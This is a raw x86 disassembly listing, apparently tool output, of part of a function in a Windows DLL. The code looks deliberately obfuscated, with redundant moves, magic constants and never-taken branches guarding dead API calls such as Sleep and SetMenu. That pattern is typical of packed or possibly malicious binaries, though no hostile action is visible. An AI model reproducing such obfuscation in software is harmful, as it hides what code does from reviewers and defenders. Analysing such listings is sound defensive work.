cmp edx, eax
setge cl
imul ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x34]
sub edx, ecx
neg edx
sbb edx, edx
inc edx
mov dword [ebp + eax*4 - 0x1b0], edx
dec dword [ebp - 0x34]
pop eax
jns 0x100320f8
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jle 0x1003215c
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x54]
test eax, eax
je 0x1003215c
mov eax, ebx
jmp 0x1003215e
xor eax, eax
cmp eax, 0xffffffff
push 0
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], ebx
jle 0x100320ed
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x100320d3
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
test eax, eax
jne 0x10032224
push ebx
lea ecx, [ebp - 0x6a4]
call fcn.10017323
mov dword [eax], ebx
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jne 0x100321af
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x1ac]
je 0x100321ce
xor eax, eax
cmp dword [ebp - 0x1ac], eax
je 0x100321d0
mov edx, ebx
jmp 0x100321d2
xor eax, eax
mov edx, eax
xor ecx, ecx
mov dword [ebp - 0x1ac], edx
mov eax, dword [ebp - 0x2c]
cmp edx, eax
setg cl
inc ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x44], ecx
mov ecx, 0xd5ab883e
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
sbb ecx, ecx
sub eax, esi
inc ecx
imul ecx, eax
xor eax, eax
test ecx, ecx
je 0x10032210
mov ecx, ebx
cmp dword [ebp - 0x1ac], eax
jne 0x10032212
mov ecx, eax
mov eax, dword [ebp - 0x2c]
imul eax, ecx
cmp eax, dword [ebp - 0x2c]
je 0x10032256
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10032258
mov edx, ebx
dec dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, edx
setl cl
xor eax, eax
cmp ecx, 0xfffffff9
jle 0x1003223f
cmp dword [ebp - 0x1c], eax
je 0x1003225c
cmp dword [ebp - 0x44], eax
je 0x1003225c
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100322bf
push eax
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
jmp 0x100322bf
xor eax, eax
mov edx, eax
jmp 0x10032226
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], 0xa8f4439d
mov dword [ebp - 0x20], 0xfffffffa
cmp dword [ebp - 0x40], 0x56f
jle 0x1003229f
push eax
lea ecx, [ebp - 0x6a4]
call fcn.10017323
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x100322a1
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], 0x197e38f9
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100322a1
mov eax, ebx
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100322bf
push 0xc83
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 4], 0xc
call fcn.1001731e
push ebx
lea ecx, [ebp - 0x4d8]
call fcn.100172b6
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x14], 0x7921e124
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x40], 0x17ab
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10032325
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x4d8]
call fcn.10017323
mov dword [eax], 0x1928c176
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032307
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x100324a3
push esi
lea ecx, [ebp - 0x6bc]
call fcn.100172b6
lea eax, [ebp - 0x1040]
mov byte [ebp - 4], 0x11
movdqa xmm0, xmmword [0x10007b40]
lea ecx, [ebp - 0x115c]
push eax
lea eax, [ebp - 0x1050]
push eax
movdqu xmmword [ebp - 0x1050], xmm0
call fcn.10017332
lea ecx, [ebp - 0x1f5]
mov esi, eax
call fcn.10008bab
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x764]
push dword [esi]
call fcn.100172f8
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x20], 0x2abf7c2f
push 3
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x100323be
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x6bc]
call fcn.10017323
mov dword [eax], 0xbaef6e22
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100323a0
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100323d1
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x48]
test eax, eax
jne 0x100323d1
mov edi, eax
jmp 0x100323d3
mov edi, ebx
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x764]
push esi
call fcn.10017323
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10032400
push esi
lea ecx, [ebp - 0x764]
call fcn.10017323
cmp dword [eax], 0
je 0x100323fe
mov esi, ebx
jmp 0x10032402
xor eax, eax
mov esi, eax
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x6bc]
call fcn.10017323
cmp esi, dword [eax]
jne 0x10032418
mov eax, dword [ebp - 0x14]
push ebx
lea ecx, [ebp - 0x764]
call fcn.10017323
push 2
xor ebx, ebx
lea ecx, [ebp - 0x6bc]
cmp edi, dword [eax]
pop edi
push edi
setne bl
call fcn.10017323
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x4d8]
mov dword [eax], ebx
call fcn.10017323
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x4d8]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.10017323
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x4d8]
mov esi, eax
call fcn.10017323
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0x764]
call fcn.1001731e
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x10
call fcn.1001731e
inc dword [ebp - 0x2c]
xor eax, eax
push 1
pop ebx
push 3
pop esi
cmp dword [ebp - 0x2c], eax
jle 0x10032331
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x100324cb
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x4d8]
call fcn.10017323
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp dword [eax], ecx
setg dl
mov dword [ebp - 0x40], edx
dec dword [ebp - 0x2c]
jns 0x100324ab
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 4], 0xc
call fcn.1001731e
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x100324f2
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xdc], 0x815c
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x100324e1
mov dword [ebp - 0x14], ebx
mov eax, 0x87fd074d
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x10], 0x61f6
mov dword [ebp - 0xb18], eax
mov dword [ebp - 0xb14], eax
mov dword [ebp - 0xb10], eax
mov dword [ebp - 0xb0c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1003253d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1124], 0x380ee91b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003252c
dec dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
mov eax, 0xffff
cmp dword [ebp - 0x10], eax
je 0x10032584
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10032586
mov eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
push 8
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp edx, eax
pop eax
setge cl
cmp ecx, eax
jbe 0x10032584
xor eax, eax
jmp 0x10032586
mov eax, ebx
add eax, 0xf6f4
jne 0x10032590
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1124], ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
neg ecx
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0xb0c], edx
mov dword [ebp - 0x38], eax
jmp 0x100325d6
push dword [ebp - 0x38]
lea ecx, [ebp - 0xa4c]
call fcn.10017323
mov dword [eax], 0x8b874bdb
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x100325bf
mov dword [ebp - 0x50], ebx
lea ecx, [ebp - 0x89c]
mov dword [ebp - 0x40], 0x37e10320
push esi
call fcn.100172b6
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003261b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x89c]
call fcn.10017323
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10032600
xor eax, eax
mov dword [ebp - 0x50], 0xffffffe2
cmp dword [ebp - 0x50], 0x12
jle 0x100327cc
mov esi, 0xc46d767c
push 8
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0xaf8], esi
mov dword [ebp - 0xaf4], esi
mov dword [ebp - 0xaf0], esi
mov dword [ebp - 0xaec], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003266f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc8], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10032657
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10032688
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
mov dword [ebp - 0xc4], 0x14
cmp dword [ebp - 0xc4], 6
jne 0x100327bf
mov dword [ebp - 0x50], edi
cmp dword [ebp - 0x50], eax
jl 0x100327ea
push edi
lea ecx, [ebp - 0x89c]
call fcn.10017323
cmp dword [eax], 0
jne 0x100327ea
dec dword [ebp - 0x50]
jns 0x100327d4
lea ecx, [ebp - 0x89c]
mov byte [ebp - 4], 0xc
call fcn.1001731e
mov eax, dword [ebp - 0xdc]
xor edx, edx
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0xdc]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xdc]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jne 0x1003282b
cmp dword [ebp - 0x48], eax
je 0x1003282d
mov eax, ebx
add eax, 0xfffffffb
je 0x10032835